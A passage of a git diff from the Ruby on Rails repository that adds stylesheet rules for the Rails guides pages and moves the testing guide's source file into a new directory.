600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} diff --git a/railties/doc/guides/testing_rails_applications/testing_rails_applications.txt b/railties/doc/guides/source/testing_rails_applications.txt index dc7635eff9..dc7635eff9 100644 --- a/railties/doc/guides/testing_rails_applications/testing_rails_applications.txt +++ b/railties/doc/guides/source/testing_rails_applications.txt |